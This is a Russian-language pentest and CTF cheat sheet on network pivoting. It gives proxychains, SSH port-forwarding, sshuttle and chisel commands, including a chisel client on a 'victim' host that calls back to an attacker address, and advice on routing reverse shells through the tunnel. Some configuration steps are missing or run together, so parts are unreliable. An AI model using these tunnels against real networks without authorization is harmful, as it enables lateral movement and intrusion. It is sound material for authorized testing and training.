
Компактное руководство по сетевому пивотингу для пентеста / CTF-задач.
Не используйте ICMP echo-запросы (ping) для проверки SOCKS-прокси.
SOCKS — это интернет-протокол, который обменивается сетевыми пакетами между клиентом и сервером через прокси-сервер. Практически SOCKS-сервер проксирует TCP-соединения на произвольный IP-адрес, а также обеспечивает возможность пересылки UDP-пакетов.
Проверять его следует с помощью протокола на основе TCP (например, попробуйте SSH-подключение или отправьте HTTP GET-запрос хосту через туннель пивотинга).
NMAP должен использоваться с TCP connect сканированием (-sT) и без ping (-Pn)
Это также относится к сканированию версий (-sV) и скриптовому сканированию (-sC). Их следует использовать в сочетании с -sT и -Pn.
Примеры:
proxychains nmap -sT -Pn -p- x.x.x.x
proxychains nmap -sT -Pn -sV -sC -p 21,80,443,445 x.x.x.x
Совет: Вы можете загрузить naabu на машину жертвы и сканировать как настоящий босс.
Использование скриптов и бинарных файлов с proxychains
Один из советов по использованию proxychains: если вы запускаете интерпретируемую программу (например, Python-скрипт), лучше явно указать бинарный файл Python перед этим скриптом, даже если скрипт начинается с shebang, например:
proxychains4 [-q -f proxychains.conf] python python_script.py
Без явного указания интерпретатора скрипта трафик, генерируемый скриптом, иногда не будет маршрутизироваться через прокси так, как вы задумали, и сетевое соединение завершится ошибкой. Источник совета
Раскомментируйте строку «quite mode» в /etc/proxychains.conf, чтобы избежать вывода в stdout, который иногда может раздражать.
Это всего лишь рекомендация.
Позволяет создать сокет на локальной машине (ssh-клиент), который выступает в роли SOCKS-прокси сервера. Когда клиент подключается к этому порту, соединение перенаправляется на удалённую машину (ssh-сервер), которая затем пересылает его на динамический порт конечной машины.
Как это настроить:
Отредактируйте /etc/proxychains.conf и выполните следующее:
Настройте SSH динамическое перенаправление портов:
ssh -D 127.0.0.1:9050 user@victim-IP
Примеры использования:
Где x.x.x.x — IP-адрес хоста, принадлежащего туннелируемой сети:
proxychains nmap -sT -Pn -p- x.x.x.x
proxychains smbmap -H x.x.x.x
proxychains ssh [email protected]
Чтобы использовать firefox через туннель:
proxychains firefox
Если вы ищете способ получить обратную оболочку (reverse shell) через туннель пивотинга, это то, что вам нужно. Оно позволяет перенаправлять порт на удалённой машине (жертва) на порт локальной машины (атакующий).
Как это настроить:
Подключитесь по SSH к машине жертвы.
Отредактируйте /etc/ssh/sshd_config и выполните следующее:
*Это очень важно, и многие руководства в интернете об этом не упоминают. Если этого не сделать, вы сможете настроить туннель только на 127.0.0.1, а не на 0.0.0.0, что в итоге приведёт к отсутствию перенаправления трафика, когда он исходит от любого хоста, кроме localhost.
sudo service ssh restartНастройте SSH удалённое перенаправление портов:
По сути, после настройки, как описано выше, команда так же проста:
ssh -R 2222:*:2222 user@victim-IP
Чтобы проверить, работает ли это, вы можете сделать следующее:
Запустите слушатель (например, netcat) на машине атакующего (на порту, который вы настроили для удалённого перенаправления, в этом примере 2222) и отправьте запрос с машины жертвы самой себе (localhost). В этом примере это будет nc 127.0.0.1 2222. Если машина атакующего получит соединение, это означает, что а) всё работает и б) каждое соединение от хостов пивотинга к victimip:2222 будет перенаправлено на машину атакующего.
Вы можете настроить несколько портов следующим образом:
ssh -R 2222:*:2222 -R 3333:*:3333 user@victim-IP
Внимание: Запросы от внешних хостов (сеть пивотинга) должны быть адресованы на IP жертвы, чтобы они были перенаправлены обратно на машину атакующего.
*Вы также можете реализовать удалённое перенаправление портов, подключившись по SSH с машины жертвы к машине атакующего.
Локальное перенаправление портов позволяет перенаправить порт на локальной машине (атакующий) на порт удалённой машины (жертва). Особенно полезно для сканирования локальных портов на жертве.
Использование:
ssh user@victim-IP -L 8888:127.0.0.1:8086
Теперь вы можете использовать, например, nmap для сканирования порта 8086 на машине жертвы следующим образом:
nmap -Pn -n -p8888 -sV 127.0.0.1
Пример реализации двойного пивотинга с помощью SSH динамического перенаправления портов и Proxychains.
Концепция:
Предположим, у нас есть следующие 4 машины.
| IP | Роль |
|---|---|
| 10.10.10.10 | Атакующий |
| 10.10.10.11 | Jumphost1 |
| 172.16.1.12 | Jumphost2 |
| 172.16.2.13 | Jumphost3 |
Атакующий может подключиться к Jumphost1.
Jumphost1 может подключиться к Jumphost2.
Jumphost2 может подключиться к Jumphost3.
...
socks4 127.0.0.1 9050
socks4 127.0.0.1 9999
ssh -D 127.0.0.1:9999 user@Jumphost2
Теперь у вас должен быть доступ к Jumphost3.
sshuttle позволяет создать VPN-соединение с вашей машины до любого удалённого сервера через ssh, при условии, что на этом сервере установлен python 2.3 или выше. Для работы вам необходим root-доступ на локальной машине, но на сервере у вас может быть обычная учётная запись. Допускается запускать sshuttle более одного раза одновременно на одной клиентской машине, каждый раз подключаясь к другому серверу, поэтому вы можете находиться в нескольких VPN одновременно. Ознакомьтесь с репозиторием sshuttle на GitHub.
Использование:
Предположим, мы хотим сделать пивотинг в сеть 172.16.2.0/16:
sshuttle -vvr root@victim 172.16.2.0/16
Если вы хотите использовать ssh-ключ:
sshuttle -vvr root@victim --ssh-cmd 'ssh -i ~/.ssh/id_rsa' 172.16.2.0/16
Chisel — это быстрый TCP/UDP-туннель, передаваемый через HTTP и защищаемый с помощью SSH. Один исполняемый файл, включающий как клиент, так и сервер. Написан на Go (golang). Он невероятно крут и полезен.
Установка:
Вы можете легко установить chisel на kali:
apt install chisel
Для его использования вам также необходимо загрузить бинарный файл chisel на машину жертвы. Вы можете скачать готовые сборки здесь.
Пример локального перенаправления портов
На машине атакующего:
chisel server -p 8000 --reverse
На машине жертвы:
./chisel_1.7.7_linux_amd64 client attacker-ip:8000 R:1234:127.0.0.1:8443
Это перенаправит трафик с порта 1234 машины атакующего на порт 8443 машины жертвы.
Burpsuite поддерживает возможность настройки прокси — невероятно полезная и мощная функция.
Как это настроить:
Запустите Burpsuite и выполните следующее:
В сочетании с настройкой SSH динамического перенаправления портов или sshuttle вы можете использовать Burpsuite для пивотинга трафика на нужные хосты, отправляя трафик на ваш локальный порт привязки. Полезный пример с gobuster dir brute через туннель (предполагая, что вы указали порт 2222 в качестве порта перенаправления):
gobuster dir -u http://127.0.0.1:2222 -t 40 -w /some/dirlist.txt